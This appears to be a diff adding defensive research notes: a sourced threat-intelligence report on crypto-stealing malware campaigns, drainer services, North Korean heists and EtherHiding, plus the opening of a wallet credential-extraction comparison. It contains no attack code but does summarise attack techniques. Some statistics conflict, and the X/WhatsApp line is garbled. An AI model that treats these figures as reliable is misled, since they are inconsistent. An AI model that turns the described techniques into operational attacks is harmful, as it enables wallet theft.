- [BleepingComputer: Malware via Google Search Ads for VLC, 7-Zip, CCleaner](https://www.bleepingcomputer.com/news/security/hackers-push-malware-via-google-search-ads-for-vlc-7-zip-ccleaner/)
|
||||||
|
- [Vectra: SEO Poisoning Attacks](https://www.vectra.ai/topics/seo-poisoning)
|
||||||
|
- [Hacker News: HiddenGh0st, Winos and kkRAT SEO Campaigns](https://thehackernews.com/2025/09/hiddengh0st-winos-and-kkrat-exploit-seo.html)
|
||||||
|
|
||||||
|
### Gaming & Modding
|
||||||
|
- [GitHub: Fractureiser Information Repository](https://github.com/trigram-mrp/fractureiser)
|
||||||
|
- [BleepingComputer: Fractureiser Malware via CurseForge](https://www.bleepingcomputer.com/news/security/new-fractureiser-malware-used-curseforge-minecraft-mods-to-infect-windows-linux/)
|
||||||
|
- [Kaspersky: Fractureiser Attacks Minecraft Players](https://usa.kaspersky.com/blog/curseforge-compromised-fractureiser/28472/)
|
||||||
|
- [GamingOnLinux: People Playground Steam Workshop Malware](https://www.gamingonlinux.com/2026/02/steam-game-people-playground-hit-by-malware-via-the-steam-workshop/)
|
||||||
|
- [Hackread: Malware Exploits NPM to Attack Roblox Developers](https://hackread.com/malware-exploits-npm-attack-roblox-developers/)
|
||||||
|
|
||||||
|
### Browser Extensions
|
||||||
|
- [arxiv: Study on Malicious Browser Extensions in 2025](https://arxiv.org/html/2503.04292v2)
|
||||||
|
- [GitLab: Malicious Browser Extensions Impacting 3.2M Users](https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/)
|
||||||
|
- [Pulsedive: Compromised Browser Extensions Jan 2025](https://blog.pulsedive.com/compromised-browser-extensions-a-growing-threat-vector/)
|
||||||
|
- [Malwarebytes: Millions Spied on by Malicious Extensions](https://www.malwarebytes.com/blog/news/2025/07/millions-of-people-spied-on-by-malicious-browser-extensions-in-chrome-and-edge)
|
||||||
|
|
||||||
|
### Maintainer Compromise
|
||||||
|
- [Black Duck: XZ Utils Backdoor Analysis](https://www.blackduck.com/blog/xz-utils-backdoor-supply-chain-attack.html)
|
||||||
|
- [Wikipedia: XZ Utils Backdoor](https://en.wikipedia.org/wiki/XZ_Utils_backdoor)
|
||||||
|
- [OpenSSF: XZ Backdoor CVE-2024-3094](https://openssf.org/blog/2024/03/30/xz-backdoor-cve-2024-3094/)
|
||||||
|
- [Checkmarx: Most Advanced Supply Chain Attack Known to Date](https://checkmarx.com/blog/backdoor-discovered-in-xz-the-most-advanced-supply-chain-attack-known-to-date/)
|
||||||
|
- [Akamai: XZ Utils Backdoor Analysis](https://www.akamai.com/blog/security-research/critical-linux-backdoor-xz-utils-discovered-what-to-know)
|
||||||
|
- [CSO Online: Years-Long Supply Chain Compromise Effort](https://www.csoonline.com/article/2077692/dangerous-xz-utils-backdoor-was-the-result-of-years-long-supply-chain-compromise-effort.html)
|
||||||
|
|
||||||
|
### Defenses & Frameworks
|
||||||
|
- [CISA: Software Bill of Materials (SBOM)](https://www.cisa.gov/sbom)
|
||||||
|
- [CISA: 2025 Minimum Elements for SBOM](https://www.cisa.gov/resources-tools/resources/2025-minimum-elements-software-bill-materials-sbom)
|
||||||
|
- [SLSA: Supply-chain Levels for Software Artifacts](https://slsa.dev/)
|
||||||
|
- [Faith Forge Labs: Software Supply Chain Security in 2025](https://faithforgelabs.com/blog_supplychain_security_2025.php)
|
||||||
|
- [OpenSSF: SBOMs in the Era of the CRA](https://openssf.org/blog/2025/10/22/sboms-in-the-era-of-the-cra-toward-a-unified-and-actionable-framework/)
|
||||||
@@ -0,0 +1,318 @@
|
|||||||
|
# Cryptocurrency Malware Distribution: Threat Intelligence Report (2025-2026)
|
||||||
|
|
||||||
|
**Report Date:** March 18, 2026
|
||||||
|
**Classification:** Defensive Threat Intelligence
|
||||||
|
**Period Covered:** January 2025 -- March 2026
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Executive Summary
|
||||||
|
|
||||||
|
Cryptocurrency-targeting malware has reached unprecedented scale and sophistication in 2025-2026. Total illicit crypto volume reached $158 billion in 2025 (TRM Labs), with scam activity alone accounting for approximately $30 billion. DPRK-linked actors stole $2.02 billion in cryptocurrency in 2025 -- a 51% year-over-year increase representing nearly 60% of all global crypto theft. Personal wallet compromises surged to 158,000 incidents affecting 80,000 unique victims, nearly triple the 54,000 incidents recorded in 2022. AI has become a force multiplier: roughly 60% of all funds flowing into crypto scam wallets in 2025 were tied to scammers using AI tools.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Distribution Platforms and Vectors
|
||||||
|
|
||||||
|
### 1.1 Telegram
|
||||||
|
|
||||||
|
Telegram has become the dominant platform for crypto malware distribution. Blockchain security firm Scam Sniffer reported a **2,000% increase** in Telegram-based malware crypto scams between November 2024 and January 2025.
|
||||||
|
|
||||||
|
**Key tactics:**
|
||||||
|
- **Fake verification bots:** A bot called "Safeguard" claims to verify identity before joining exclusive groups. It instructs users to run code on their devices for "manual identity confirmation," which installs malware that steals Telegram account details and crypto credentials.
|
||||||
|
- **Bot-based phishing:** Attackers use Telegram bots instead of websites, since bots are cheaper to create and users mistakenly trust the Telegram environment.
|
||||||
|
- **Malware-laced group infiltration:** Hackers distribute malware in popular trading and airdrop groups, or trick users into downloading fake Telegram apps or "antivirus" software.
|
||||||
|
- **Money laundering infrastructure:** Chinese-language money laundering networks funneled an estimated $16.1 billion in illicit funds through crypto transactions in 2025, advertising services on Telegram.
|
||||||
|
|
||||||
|
### 1.2 Discord
|
||||||
|
|
||||||
|
Discord remains a primary attack surface for crypto community targeting.
|
||||||
|
|
||||||
|
**Key campaigns:**
|
||||||
|
- **Expired invite link hijacking:** Check Point Research uncovered attackers hijacking expired Discord invite links through vanity link registration, silently redirecting users from trusted sources to malicious servers. This delivers AsyncRAT and a customized Skuld Stealer targeting crypto wallets using the ClickFix phishing technique with multi-stage loaders and time-based evasions.
|
||||||
|
- **Clipboard hijacking trojans:** CloudSEK uncovered threat actor "RedLineCyber" distributing "Pro.exe," a Python-based clipboard hijacking trojan designed for silent cryptocurrency theft, through Discord channels.
|
||||||
|
- **C2 abuse:** ChaosBot, a Rust-based malware discovered in October 2025, uses Discord channels for command-and-control operations.
|
||||||
|
- **RedTiger weaponization:** An open-source red teaming tool was converted into an infostealer capable of stealing Discord accounts, browser passwords, crypto wallets, and webcam images.
|
||||||
|
- **Payload hosting via trusted services:** Delivery and exfiltration occur via GitHub, Bitbucket, Pastebin, and Discord CDN, blending into normal traffic.
|
||||||
|
|
||||||
|
### 1.3 Twitter/X
|
||||||
|
|
||||||
|
- **Fake exchange promotions:** Scammers use DMs on X (formerly WhatsApp-based) to "accidentally" send login details to supposedly well-funded financial accounts.
|
||||||
|
- **Spoofed advertising:** Nearly 90 fraudulent token presale sites traced to a single threat actor group used X/Twitter ad loopholes with spoofed display URLs.
|
||||||
|
- **NFT creator targeting:** Threat actors use multiple identities to approach NFT creators on Twitter with fake business deals, tricking them into downloading malware-laced files.
|
||||||
|
|
||||||
|
### 1.4 YouTube
|
||||||
|
|
||||||
|
- **AI-generated crypto experts:** The National Cyber Security Centre reported AI-assisted scam channels that added over 100,000 followers in a single day. Videos instructed viewers to run code claiming to activate "TradingView developer mode," which installed malware stealing passwords, email access, and crypto wallet contents.
|
||||||
|
- **Fake MEV bot tutorials:** Over $1 million siphoned through AI-generated YouTube videos promoting malicious smart contracts disguised as MEV trading bots.
|
||||||
|
- **Fake Binance NFT bots:** RedLine malware distributed through YouTube videos promoting fake Binance NFT mystery box bots, hosted on GitHub repositories.
|
||||||
|
|
||||||
|
### 1.5 Facebook/Meta
|
||||||
|
|
||||||
|
- A persistent malvertising campaign exploits Facebook's ad network using branding from Binance and TradingView with celebrity images (Elon Musk, Zendaya). At least 75 malicious ads since July 2025 reached tens of thousands of users in the EU alone. The fake desktop client drops a malicious DLL, executing encoded PowerShell scripts that download additional malware.
|
||||||
|
|
||||||
|
### 1.6 Supply Chain (npm, GitHub, Browser Extensions)
|
||||||
|
|
||||||
|
- **npm poisoning:** Compromised JavaScript packages collectively downloaded more than 2.6 billion times in a single week contained crypto-stealing malware.
|
||||||
|
- **Trust Wallet supply chain attack:** Compromised npm packages drained 2,596 Trust Wallet wallets of $7 million in December 2025.
|
||||||
|
- **Browser extension compromise:** In January 2025, AdsPower's distribution system was compromised, replacing a legitimate browser plugin with a malicious version that stole mnemonic phrases and private keys.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. North Korean Operations (Lazarus/TraderTraitor)
|
||||||
|
|
||||||
|
### 2.1 Scale
|
||||||
|
|
||||||
|
DPRK-linked actors stole **$2.02 billion** in cryptocurrency in 2025, a 51% increase year-over-year, representing **nearly 60% of all global crypto theft**. All-time North Korean crypto theft has reached an estimated **$6.75 billion**.
|
||||||
|
|
||||||
|
### 2.2 The Bybit Heist ($1.5 Billion)
|
||||||
|
|
||||||
|
The largest cryptocurrency heist in history, confirmed by the FBI on February 26, 2025:
|
||||||
|
|
||||||
|
**Attack chain:**
|
||||||
|
1. **Social engineering of Safe{Wallet} developer:** A developer was compromised through a targeted social engineering attack.
|
||||||
|
2. **Workstation compromise:** Attackers gained access to the developer's workstation and stole AWS session tokens, bypassing MFA controls.
|
||||||
|
3. **JavaScript injection:** On February 19, 2025, a benign JavaScript file on `app.safe.global` was replaced with malicious code specifically targeting Bybit's Ethereum multisig cold wallet.
|
||||||
|
4. **Delayed activation:** The malicious code was designed to activate during the next Bybit transaction, which occurred on February 21, 2025.
|
||||||
|
5. **UI manipulation:** When Bybit employees approved a routine transfer, the UI displayed a legitimate-looking transaction, but funds were redirected to attacker-controlled addresses.
|
||||||
|
6. **Laundering:** Rapid conversion through intermediary wallets, DEXs, and cross-chain bridges (THORChain, LI.FI), converting ETH to BTC to stablecoins.
|
||||||
|
|
||||||
|
### 2.3 TraderTraitor TTPs
|
||||||
|
|
||||||
|
- **Fake trading applications:** Electron and Node.js-based wrappers over open-source crypto tools, delivering MANUSCRYPT and RN Stealer RATs.
|
||||||
|
- **Fake job offers:** The DMM Bitcoin/Ginco breach ($308 million, 4,500 BTC) began with luring a developer through a fake job offer, deploying Python-based RATs, and harvesting cloud credentials.
|
||||||
|
- **Supply chain poisoning:** Cloud platform disruption and dependency compromises.
|
||||||
|
- **Target selection:** Financial services, cryptocurrency payments, brokerage, staking, and wallet infrastructure.
|
||||||
|
|
||||||
|
### 2.4 Related North Korean Actors
|
||||||
|
|
||||||
|
**UNC1069:** Active in 2025 targeting crypto sector with new tooling and AI-enabled social engineering.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Crypto Drainer Ecosystem
|
||||||
|
|
||||||
|
### 3.1 Scale and Economics
|
||||||
|
|
||||||
|
- Wallet drainer losses declined from $494 million (2024) to $83.85 million (2025), though attack volume increased.
|
||||||
|
- Dark web threads discussing drainers increased **135%** (55 in 2022 to 129 in 2024, continuing to grow).
|
||||||
|
- Signature phishing attacks surged **207%** in January 2026, draining $6.27 million from 4,700 wallets.
|
||||||
|
|
||||||
|
### 3.2 Drainer-as-a-Service (DaaS)
|
||||||
|
|
||||||
|
Drainer kits are sold for **$500 to $10,000** through Telegram groups and darknet forums. Packages include:
|
||||||
|
|
||||||
|
- Source code and admin panels
|
||||||
|
- Exploit libraries
|
||||||
|
- Phishing kit templates (fake websites, malicious scripts)
|
||||||
|
- Victim tracking dashboards
|
||||||
|
- Customer support
|
||||||
|
- Revenue-sharing agreements (typically 20-30% to the DaaS operator)
|
||||||
|
|
||||||
|
### 3.3 Major Drainer Families
|
||||||
|
|
||||||
|
**Inferno Drainer:**
|
||||||
|
- Estimated $80+ million stolen total, making it the largest contributor to drainer losses.
|
||||||
|
- Over 16,000 unique domains identified, impersonating at least 100 crypto brands.
|
||||||
|
- Despite announcing shutdown in late 2023, compromised 30,000+ wallets for $9+ million in the following months.
|
||||||
|
- March 2025 variant offloads C2 communication to customer-installed proxy servers, making infrastructure nearly untraceable.
|
||||||
|
- Maintains ~40-45% market share among drainer services.
|
||||||
|
|
||||||
|
**Angel Drainer:**
|
||||||
|
- Market share declining as of late 2025.
|
||||||
|
|
||||||
|
### 3.4 Drainer Distribution Methods
|
||||||
|
|
||||||
|
- Fake airdrop claim pages
|
||||||
|
- Impersonation of legitimate DeFi protocols
|
||||||
|
- Token approval phishing (tricking users into signing unlimited approvals)
|
||||||
|
- Off-chain signature phishing (eth_sign, permit2)
|
||||||
|
- Google/Twitter ad campaigns pointing to drainer-equipped sites
|
||||||
|
- Group-IB identified drainers masquerading as European tax authorities
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Fake Applications and Platforms
|
||||||
|
|
||||||
|
### 4.1 Fake Meeting Apps (Meeten/Meetio)
|
||||||
|
|
||||||
|
Active since September 2024, this campaign targets Web3 professionals:
|
||||||
|
|
||||||
|
- **Fabricated companies** with AI-generated websites, blog posts, and social media accounts on X and Medium.
|
||||||
|
- **Social engineering via LinkedIn/Twitter:** Attackers set up video calls and prompt targets to download a "meeting app."
|
||||||
|
- **Cross-platform malware:** Both Windows and macOS versions target crypto wallets, banking info, browser data, and Keychain credentials.
|
||||||
|
- **Website-based theft:** Even without downloading the app, Meeten websites contain JavaScript that steals browser-stored cryptocurrency.
|
||||||
|
- **Constant rebranding:** Previously named "Clusee," "Cuesee," "Meetone," and "Meetio."
|
||||||
|
- **Theme expansion:** Now covers AI, gaming, Web3, and social media lures.
|
||||||
|
|
||||||
|
### 4.2 Fake Wallets
|
||||||
|
|
||||||
|
- **GlassWorm (January 2026):** Targets macOS developers through fake Visual Studio Code extensions designed to steal crypto, credentials, and system data.
|
||||||
|
- **Fake MetaMask extensions:** Malware campaign distributing fake MetaMask wallet with remote access backdoor.
|
||||||
|
- **StilachiRAT:** Sophisticated RAT discovered by Microsoft that scans for and targets MetaMask and other crypto wallet data.
|
||||||
|
- Personal wallet compromises surged to **158,000 incidents** affecting **80,000 unique victims** in 2025.
|
||||||
|
|
||||||
|
### 4.3 Fake Exchanges
|
||||||
|
|
||||||
|
- Fraudulent platforms (Morocoin, Berge, Cirkor) falsely claiming government licenses, totaling at least $14 million in theft.
|
||||||
|
- Facebook malvertising using Binance and TradingView branding.
|
||||||
|
- AI-generated "crypto experts" on YouTube driving downloads of trojanized trading tools.
|
||||||
|
|
||||||
|
### 4.4 Fake DeFi Platforms
|
||||||
|
|
||||||
|
- **Scam-as-a-service:** Operations auto-generate professional dApp layouts and liquidity-pool dashboards on multiple chains, cloning real logos and testimonials.
|
||||||
|
- **TetherBot.io (March 2025):** Fake "AI-powered trading platform" promising 1.25% daily returns, operating a 4-level referral Ponzi.
|
||||||
|
- A fake DeFi platform promising 30% weekly returns vanished with $12 million.
|
||||||
|
- Wallet-related fraud accounted for approximately **$1.7 billion** in losses during 2025.
|
||||||
|
|
||||||
|
### 4.5 Fake Trading Bots
|
||||||
|
|
||||||
|
- **Weaponized MEV bots:** Over $1 million drained through malicious smart contracts posing as MEV trading bots, promoted via AI-generated YouTube content.
|
||||||
|
- **$900K Ethereum smart contract scam:** Fake trading bots on Ethereum using obfuscated Solidity code.
|
||||||
|
- **Fake AI chatbots:** "Google Coin" presale site featuring a chatbot impersonating Google's Gemini AI to guide victims through crypto payments.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Social Engineering Techniques
|
||||||
|
|
||||||
|
### 5.1 Airdrop-Based Attacks
|
||||||
|
|
||||||
|
- FBI issued a specific announcement (June 2025) about NFT airdrop scams targeting Hedera Hashgraph wallet users.
|
||||||
|
- Malicious NFTs with hidden smart contracts are airdropped to thousands of wallets; interaction triggers wallet draining.
|
||||||
|
- Fake airdrop apps capture keystrokes, export seed phrases, or install RATs.
|
||||||
|
- In 2026, airdrop scams are "professionally engineered traps powered by AI, fake audits, cloned wallets, and social engineering."
|
||||||
|
|
||||||
|
### 5.2 Token Presale Scams
|
||||||
|
|
||||||
|
- **$GROK Presale scam:** Sophisticated phishing and wallet-draining operation that lured thousands of users.
|
||||||
|
- **$X Token presale:** Fake presale using token-x.live to collect wallet connections, private keys, and drain funds.
|
||||||
|
- Common pattern: connect wallet, sign "verification" transaction, or submit seed phrase through a "manual verification" form.
|
||||||
|
- **~37% of new token launches** in 2025 were rug pulls, per blockchain security firms.
|
||||||
|
|
||||||
|
### 5.3 MetaMask-Specific Phishing
|
||||||
|
|
||||||
|
- Phishing emails with party-hat fox logo claiming "mandatory 2026 system upgrade."
|
||||||
|
- "Suspicious login activity" warnings with fake PDF leading to counterfeit MetaMask login on AWS S3.
|
||||||
|
- ZachXBT tracked $107,000 drained from hundreds of wallets through fake MetaMask emails.
|
||||||
|
|
||||||
|
### 5.4 EtherHiding
|
||||||
|
|
||||||
|
A novel technique using blockchain infrastructure for malware distribution:
|
||||||
|
|
||||||
|
- Malicious content stored on BNB Smart Chain and Ethereum, making takedown nearly impossible.
|
||||||
|
- Payloads decrypted in-browser using AES GCM and executed after decompression.
|
||||||
|
- Transaction history used as a Dead Drop Resolver, embedding payloads in calldata.
|
||||||
|
- Updating malicious instructions requires only broadcasting a new transaction, turning the blockchain into a persistent, censorship-resistant command queue.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. AI as a Force Multiplier
|
||||||
|
|
||||||
|
AI has fundamentally changed the crypto scam landscape in 2025-2026:
|
||||||
|
|
||||||
|
- **~60% of funds** flowing into crypto scam wallets tied to AI-assisted operations (Chainalysis).
|
||||||
|
- **AI-generated content:** Entire fake company websites, blog posts, social media profiles, and video presenters.
|
||||||
|
- **Scam-as-a-service platforms** auto-generate professional dApp frontends on multiple chains.
|
||||||
|
- **Deepfake influencers:** YouTube channels with AI-generated "crypto experts" gaining 100K+ followers in a day.
|
||||||
|
- **AI chatbot social engineering:** Fake Gemini chatbot guiding victims through crypto purchases.
|
||||||
|
- **Lowered barrier to entry:** Even low-skill criminals can now execute sophisticated campaigns.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Financial Impact Summary
|
||||||
|
|
||||||
|
| Metric | Value | Source |
|
||||||
|
|--------|-------|--------|
|
||||||
|
| Total illicit crypto volume (2025) | $158 billion | TRM Labs |
|
||||||
|
| Crypto scam activity (2025) | $14-17 billion (projected) | Chainalysis |
|
||||||
|
| DPRK crypto theft (2025) | $2.02 billion | Chainalysis |
|
||||||
|
| Bybit heist (single event) | $1.5 billion | FBI |
|
||||||
|
| Wallet-related fraud (2025) | $1.7 billion | Industry reports |
|
||||||
|
| Crypto hacks H1 2025 | $3.01 billion | CCN |
|
||||||
|
| Personal wallet compromises (2025) | 158,000 incidents / 80,000 victims | Chainalysis |
|
||||||
|
| Drainer losses (2025) | $83.85 million (declining) | Scam Sniffer |
|
||||||
|
| DPRK all-time crypto theft | $6.75 billion | BlockEden |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Defensive Gaps and Recommendations
|
||||||
|
|
||||||
|
### 8.1 Where Defenses Are Failing
|
||||||
|
|
||||||
|
1. **Supply chain trust:** Legitimate packages and browser extensions can be silently compromised, and users have no practical way to verify integrity at install time.
|
||||||
|
2. **Social engineering at scale:** AI-generated content makes fake companies, apps, and personalities indistinguishable from real ones.
|
||||||
|
3. **Blockchain as C2:** EtherHiding and on-chain payload storage cannot be taken down by traditional law enforcement.
|
||||||
|
4. **Off-chain signature phishing:** Users don't understand that signing seemingly benign messages can authorize unlimited transfers.
|
||||||
|
5. **Cross-chain laundering:** Rapid conversion through bridges and DEXs makes fund recovery nearly impossible.
|
||||||
|
6. **Telegram ecosystem:** Minimal moderation, bot infrastructure, and encrypted communications create an ideal environment for both distribution and operations.
|
||||||
|
|
||||||
|
### 8.2 Recommended Defensive Measures
|
||||||
|
|
||||||
|
1. **Transaction simulation and human-readable signing:** Wallets should show the actual effect of every transaction and signature before approval.
|
||||||
|
2. **Hardware wallet isolation:** Cold storage for high-value assets; never sign transactions from hot wallets on potentially compromised machines.
|
||||||
|
3. **Supply chain monitoring:** Pin dependency versions, audit updates, use lockfiles, and monitor for typosquatted packages.
|
||||||
|
4. **Phishing-resistant authentication:** Hardware security keys for exchange accounts; never trust email-based verification flows.
|
||||||
|
5. **Token approval hygiene:** Regularly audit and revoke unnecessary token approvals (revoke.cash, Etherscan token approval checker).
|
||||||
|
6. **Community education:** Focus on off-chain signature risks, airdrop interaction dangers, and fake meeting app campaigns.
|
||||||
|
7. **Behavioral monitoring:** Detect unusual wallet interaction patterns, especially sudden approval requests after social media engagement.
|
||||||
|
8. **Browser extension auditing:** Limit extensions, verify publisher identity, and monitor for unexpected updates.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Sources
|
||||||
|
|
||||||
|
- [Cyble - 10 New Ransomware Groups of 2025](https://cyble.com/knowledge-hub/10-new-ransomware-groups-of-2025-threat-trend-2026/)
|
||||||
|
- [Kroll - H1 2025 Threat Landscape Report](https://www.kroll.com/en/reports/cyber/threat-intelligence-reports/threat-landscape-report-lens-on-crypto)
|
||||||
|
- [Chainalysis - Crypto Ransomware 2026 Report](https://www.chainalysis.com/blog/crypto-ransomware-2026/)
|
||||||
|
- [Google Cloud - UNC1069 Targets Cryptocurrency Sector](https://cloud.google.com/blog/topics/threat-intelligence/unc1069-targets-cryptocurrency-ai-social-engineering)
|
||||||
|
- [Google Cloud - UNC5142 EtherHiding](https://cloud.google.com/blog/topics/threat-intelligence/unc5142-etherhiding-distribute-malware)
|
||||||
|
- [Darktrace - Meeten Malware](https://www.darktrace.com/blog/meeten-malware-a-cross-platform-threat-to-crypto-wallets-on-macos-and-windows)
|
||||||
|
- [Bitget - Crypto Wallet Scams 2026](https://web3.bitget.com/en/academy/crypto-wallet-scams-2026-how-to-spot-fake-wallets-before-they-steal-your-money)
|
||||||
|
- [Malwarebytes - Best Wallet Scam](https://www.malwarebytes.com/blog/news/2025/10/dont-connect-your-wallet-best-wallet-cryptocurrency-scam-is-making-the-rounds)
|
||||||
|
- [TechWorm - GlassWorm Malware](https://www.techworm.net/2026/01/new-glassworm-malware-targets-macs-fake-crypto-wallet-tools.html)
|
||||||
|
- [Check Point Research - Discord Invite Hijacking](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
|
||||||
|
- [CloudSEK - Discord Cryptojacking Campaign](https://www.cloudsek.com/blog/humint-operations-uncover-cryptojacking-campaign-discord-based-distribution-of-clipboard-hijacking-malware-targeting-cryptocurrency-communities)
|
||||||
|
- [The Hacker News - Discord AsyncRAT and Skuld Stealer](https://thehackernews.com/2025/06/discord-invite-link-hijacking-delivers.html)
|
||||||
|
- [Kaspersky - Discord Invite Link Hijacking](https://www.kaspersky.com/blog/hijacked-discord-invite-links-for-multi-stage-malware-delivery/53955/)
|
||||||
|
- [The Hacker News - ChaosBot](https://thehackernews.com/2025/10/new-rust-based-malware-chaosbot-hijacks.html)
|
||||||
|
- [Three Sigma - AI Trading Scams and DeFi Fraud](https://threesigma.xyz/blog/web3-security/ai-trading-scams-defi-fraud-forensics-part-4)
|
||||||
|
- [Halborn - Top 100 DeFi Hacks 2025](https://www.halborn.com/reports/top-100-defi-hacks-2025)
|
||||||
|
- [IC3/FBI - Hedera NFT Airdrop Scam Alert](https://www.ic3.gov/PSA/2025/PSA250603)
|
||||||
|
- [Kaspersky - Telegram Scams 2025](https://www.kaspersky.com/blog/phishing-and-scam-in-telegram-2025/54090/)
|
||||||
|
- [The Block - Telegram Malware Over Traditional Phishing](https://www.theblock.co/post/334954/telegram-malware-crypto-scams-rampant-over-traditional-phishing-scam-sniffer)
|
||||||
|
- [OKX - Telegram Crypto Scams Surge](https://www.okx.com/en-eu/learn/telegram-crypto-scams-malware-attacks)
|
||||||
|
- [CNBC - Chinese Crime Networks $16B Crypto](https://www.cnbc.com/2026/02/02/chinese-money-laundering-networks-crypto-telegram-2025-chainalysis-scam-southeast-asia-cambodia.html)
|
||||||
|
- [TRM Labs - Bybit Hack](https://www.trmlabs.com/resources/blog/the-bybit-hack-following-north-koreas-largest-exploit)
|
||||||
|
- [Picus Security - FBI Confirms Lazarus Bybit Heist](https://www.picussecurity.com/resource/blog/fbi-north-korean-lazarus-group-bybit-crypto-heist)
|
||||||
|
- [The Hacker News - Bybit Safe{Wallet} Supply Chain](https://thehackernews.com/2025/02/bybit-hack-traced-to-safewallet-supply.html)
|
||||||
|
- [BlockEden - Lazarus $6.75B Playbook](https://blockeden.xyz/blog/2026/02/03/lazarus-group-playbook-north-korea-crypto-theft-6-75-billion/)
|
||||||
|
- [Brandefense - TraderTraitor APT 2025](https://brandefense.io/blog/tradertraitor-apt-2025/)
|
||||||
|
- [Wiz - TraderTraitor Deep Dive](https://www.wiz.io/blog/north-korean-tradertraitor-crypto-heist)
|
||||||
|
- [The Hacker News - DPRK $2.02B in 2025](https://thehackernews.com/2025/12/north-korea-linked-hackers-steal-202.html)
|
||||||
|
- [CoinDesk - Weaponized Trading Bots](https://www.coindesk.com/tech/2025/08/07/weaponized-trading-bots-drain-usd1m-from-crypto-users-via-ai-generated-youtube-scam)
|
||||||
|
- [SentinelOne - Ethereum Drainers as Trading Bots](https://www.sentinelone.com/labs/smart-contract-scams-ethereum-drainers-pose-as-trading-bots-to-steal-crypto/)
|
||||||
|
- [Picus Security - EtherHiding](https://www.picussecurity.com/resource/blog/etherhiding-how-web3-infrastructure-enables-stealthy-malware-distribution)
|
||||||
|
- [CertiK - Hack3d Web3 Security Report 2025](https://www.certik.com/resources/blog/hack3d-the-web3-security-report-2025)
|
||||||
|
- [Hypernative - State of Web3 Security 2026](https://www.hypernative.io/blog/the-state-of-web3-security-for-2026-winning-the-red-queen-race-in-cryptos-breakout-year)
|
||||||
|
- [Hackread - Fake Crypto Exchange Ads on Facebook](https://hackread.com/fake-crypto-exchange-ads-facebook-spread-malware/)
|
||||||
|
- [Malwarebytes - Fake Gemini AI Chatbot](https://www.malwarebytes.com/blog/ai/2026/02/scammers-use-fake-gemini-ai-chatbot-to-sell-fake-google-coin)
|
||||||
|
- [MetaMask - Security Report December 2025](https://metamask.io/news/metamask-security-report)
|
||||||
|
- [MetaMask - Security Report February 2026](https://metamask.io/en-GB/news/crypto-security-report-2026)
|
||||||
|
- [GBHackers - Fake MetaMask Wallet Malware](https://gbhackers.com/fake-metamask-wallet/)
|
||||||
|
- [Check Point Research - Inferno Drainer Reloaded](https://research.checkpoint.com/2025/inferno-drainer-reloaded-deep-dive-into-the-return-of-the-most-sophisticated-crypto-drainer/)
|
||||||
|
- [Group-IB - Inferno Drainer](https://www.group-ib.com/blog/inferno-drainer/)
|
||||||
|
- [Group-IB - Crypto Wallet Drainers](https://www.group-ib.com/resources/knowledge-hub/crypto-wallet-drainers/)
|
||||||
|
- [Security Alliance - State of Drainers Vol. 1](https://www.securityalliance.org/news/2025-10-drainers-vol-1)
|
||||||
|
- [Deep Code - Crypto Drainers 2025](https://decodecybercrime.com/crypto-drainers-of-2025-the-rising-web-of-wallet-theft/)
|
||||||
|
- [DeFi Planet - Drainers-as-a-Service](https://defi-planet.com/2025/08/crypto-drainers-as-a-service-how-these-new-age-scams-are-targeting-your-wallet/)
|
||||||
|
- [Kaspersky - 135% Surge in Drainer Interest](https://www.kaspersky.com/about/press-releases/kaspersky-reports-135-surge-in-interest-for-crypto-stealing-drainers-on-dark-web)
|
||||||
|
- [Chainalysis - 2026 Crypto Crime Report: Scams](https://www.chainalysis.com/blog/crypto-scams-2026/)
|
||||||
|
- [Chainalysis - 2026 Crypto Crime Report Introduction](https://www.chainalysis.com/blog/2026-crypto-crime-report-introduction/)
|
||||||
|
- [MalwareTips - $GROK Presale Scam](https://malwaretips.com/blogs/grok-presale-scam/)
|
||||||
|
- [Silent Push - X/Twitter Ad Scam](https://www.silentpush.com/blog/x-twitter-ad-scam/)
|
||||||
|
- [Bitdefender - Meta Malvertising Android](https://www.bitdefender.com/en-us/blog/labs/malvertising-campaign-on-meta-expands-to-android-pushing-advanced-crypto-stealing-malware-to-users-worldwide)
|
||||||
|
- [Bleeping Computer - Meeten Targets Web3 Pros](https://www.bleepingcomputer.com/news/security/crypto-stealing-malware-posing-as-a-meeting-app-targets-web3-pros/)
|
||||||
|
- [The Hacker News - Fake Gaming and AI Firms via Telegram/Discord](https://thehackernews.com/2025/07/fake-gaming-and-ai-firms-push-malware.html)
|
||||||
|
- [Group-IB - Declaration Trap: Drainers as Tax Authorities](https://www.group-ib.com/blog/declaration-trap/)
|
||||||
|
- [Ledger - Crypto Wallet Security Checklist 2026](https://www.ledger.com/academy/topics/security/crypto-wallet-security-checklist-protect-crypto-with-ledger)
|
||||||
|
- [Sumsub - 8 Crypto Scams 2025-2026](https://sumsub.com/blog/crypto-scams-you-should-be-aware-of/)
|
||||||
@@ -0,0 +1,615 @@
|
|||||||
|
# Crypto Wallet Security Architecture Comparison
|
||||||
|
## Defensive Research: Local Credential Extraction Resistance
|
||||||
|
### March 2026
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Table of Contents
|
||||||
|
1. [Market Overview & Popularity](#market-overview)
|
||||||
|
2. [Complete Wallet List by Category](#wallet-list)
|
||||||
|
3. [Detailed Security Architecture per Wallet](#detailed-architectures)
|
||||||
|
4. [Comparison Matrix](#comparison-matrix)
|
||||||
|
5. [Attack Surface Analysis](#attack-surface)
|
||||||
|
6. [Security Rankings](#security-rankings)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Market Overview & Popularity <a name="market-overview"></a>
|
||||||
|
|
||||||
|
### Industry Scale (2025-2026)
|
||||||
|
- **820 million+** unique active cryptocurrency wallets globally (2025)
|
||||||
|
